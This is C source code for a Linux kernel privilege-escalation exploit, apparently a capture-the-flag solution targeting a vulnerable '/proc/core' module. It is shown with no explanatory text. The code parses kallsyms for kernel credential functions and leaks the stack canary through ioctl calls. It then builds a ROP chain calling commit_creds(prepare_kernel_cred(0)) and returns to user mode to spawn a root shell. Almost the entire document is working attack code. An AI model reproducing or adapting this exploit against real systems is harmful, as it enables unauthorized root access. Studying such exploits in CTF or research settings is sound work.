1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
|
size_t commit_creds = 0, prepare_kernel_cred = 0; size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); log_success("[*] Status has been saved."); }
void get_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!"); sleep(5); exit(EXIT_FAILURE); }
log_success("[+] Successful to get the root."); log_info("[*] Execve root shell now...");
system("/bin/sh"); /* to exit the process normally, instead of potential segmentation fault */ exit(EXIT_SUCCESS); }
void core_read(int fd, char* buf) { ioctl(fd, 0x6677889B, buf); }
void set_off_val(int fd, size_t off) { ioctl(fd, 0x6677889C, off); }
void core_copy(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }
void exploitation() { FILE *ksyms_file; int fd; char buf[0x1000], type[0x10]; size_t addr; size_t canary; size_t rop_chain[0x100], i;
log_info("[*] ///EXPLOITING///"); save_status();
fd = open("/proc/core", O_RDWR); if(fd < 0) { log_error("[x] failed to open the kernel module!"); exit(EXIT_FAILURE); } log_info("[*]reading kallsyms..."); ksyms_file = fopen("/tmp/kallsyms", "r"); if(ksyms_file == NULL) { log_error("[x] failed to open kallsyms!"); exit(EXIT_FAILURE); }
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) { break; }
if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf( SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ") "%lx\n", commit_creds); continue; }
if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf(SUCCESS_MSG( "[+] Successful to get the addr of prepare_kernel_cred: ") "%lx\n", prepare_kernel_cred); continue; } }
kernel_offset = commit_creds - COMMIT_CREDS; kernel_base += kernel_offset; printf(SUCCESS_MSG("[+] got base:") "%lx\n" SUCCESS_MSG("[+] got offset:") "%lx\n", kernel_base, kernel_offset);
log_info("[*] reading canary..."); set_off_val(fd, 64); core_read(fd, buf); canary = ((size_t*)buf)[0]; printf(SUCCESS_MSG("[+] got canary:") "%lx\n", canary);
for(i = 0;i < 10;i++) { rop_chain[i] = canary; } rop_chain[i++] = POP_RDI_RET + kernel_offset; rop_chain[i++] = 0; rop_chain[i++] = prepare_kernel_cred; rop_chain[i++] = POP_RDX_RET + kernel_offset; rop_chain[i++] = POP_RCX_RET + kernel_offset; rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset; rop_chain[i++] = commit_creds; rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset; rop_chain[i++] = 0; rop_chain[i++] = IRETQ + kernel_offset; rop_chain[i++] = (size_t)get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss;
log_info("[*] ///start execute ROP///"); write(fd, rop_chain, 0x800); core_copy(fd, 0xffffffffffff0000 | (0x100));
}
int main() { exploitation(); return 0; }
|